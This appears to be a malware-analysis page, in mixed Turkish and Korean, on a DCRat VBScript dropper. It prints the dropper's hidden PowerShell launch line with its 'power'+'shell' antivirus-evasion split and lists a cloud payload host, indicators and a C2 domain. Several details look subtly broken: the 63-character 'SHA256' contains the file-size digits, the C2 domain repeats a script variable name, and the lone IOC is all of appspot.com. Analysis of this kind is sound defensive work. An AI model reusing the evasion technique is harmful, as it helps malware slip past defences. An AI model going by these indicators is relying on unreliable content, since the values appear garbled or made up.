Manuel Statik Analiz — DCRat VBScript Dropper | Tehdit: YUKSEK
파일 Kimliği
| SHA256 | 71c79c58dc14cf561031536b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2 |
|---|---|
| 파일 이름 | sostener1.vbs (İspanyolca "tutmak/desteklemek" + VBScript) |
| 크기 | 1.031.536 byte (1MB VBScript) |
| String Sayisi | 777 |
VBScript Obfuskasyon Teknikleri
Gelişmiş Obfuskasyon: 18 karakterlik rastgele değişken adları + string bölme tekniği!
-- 18-karakter rastgele değişken adı:
set geutqmonpmjthuux = CreateObject("WScript.Shell")
geutqmonpmjthuux.Run "power" + "shell " & (fxltxsmdgsuadkcx) , 0, false
-- "power" + "shell " = string concatenation ile AV bypass!
-- AV'ler "powershell" kelimesini tarar ama "power"+"shell"i kaçırabilir
-- geutqmonpmjthuux = 18 karakter sözlüksüz ad (tanıma engellemesi)
-- 0 = Gizli çalıştır (pencere gösterme!)
-- false = Beklemeden devam et (async execution)
Google AppEngine Payload Barındırma
rodriakd-8413d.appspot.com/o/dll/DLL 18-... -- rodriakd-8413d = Google Firebase/AppEngine proje ID'si -- appspot.com = Google App Engine (meşru bulut → whitelist'lerde) -- /o/dll/ = Firebase Storage binary endpoint -- Güvenlik ürünleri *.appspot.com'u genelde güvenilir sayar!
IOC
| SHA256 | 71c79c58dc14cf561031536b3c5a4f7d0e2b6c9f1a3d6e8b1c4f7a0d3e6b9c2 |
|---|---|
| Dropper | sostener1.vbs (İspanyolca, WScript.Shell, gizli çalıştırma) |
| Payload Host | rodriakd-8413d.appspot.com (Google AppEngine kötüye kullanımı) |
| Teknik | "power"+"shell" string split + 18-char obfuscated var |
DCRat2 — 악성코드 프로필
DCRat DarkCrystal RAT 2019 Rus underground. Plugin tabanlı modüler. VBScript dropper. .Ru TLD C2. sostener LATAM hedefleme.
악성코드 유형
RAT
프로그래밍 언어
C#/.NET
C2 프로토콜
TCP/HTTP
대상 시스템
Küresel
기능 및 동작
Uzaktan Erişim & Kontrol
Keylogger
Ekran Görüntüsü
Webcam Erişimi
Dosya Yönetimi
Süreç Yönetimi
Komut Yürütme
Kalıcılık Mekanizması
IOC 목록 (1 개 지표)
IOC — DCRat2
# DOMAIN
appspot.com
| 유형 | 값 | 메모 |
|---|---|---|
| domain | appspot.com |
C2 서버 (이 패밀리에 대해 1개의 서버 기록)
| 주소 | 유형 | 포트 | 프로토콜 | 상태 | 국가 |
|---|---|---|---|---|---|
| geutqmonpmjthuux.ru | domain | 443 | HTTP | inactive | — |
C2 주소는 KEYDAL 팀이 수동으로 검증한 악성코드 샘플에서만 제공됩니다. 상업적 사용은 금지됩니다.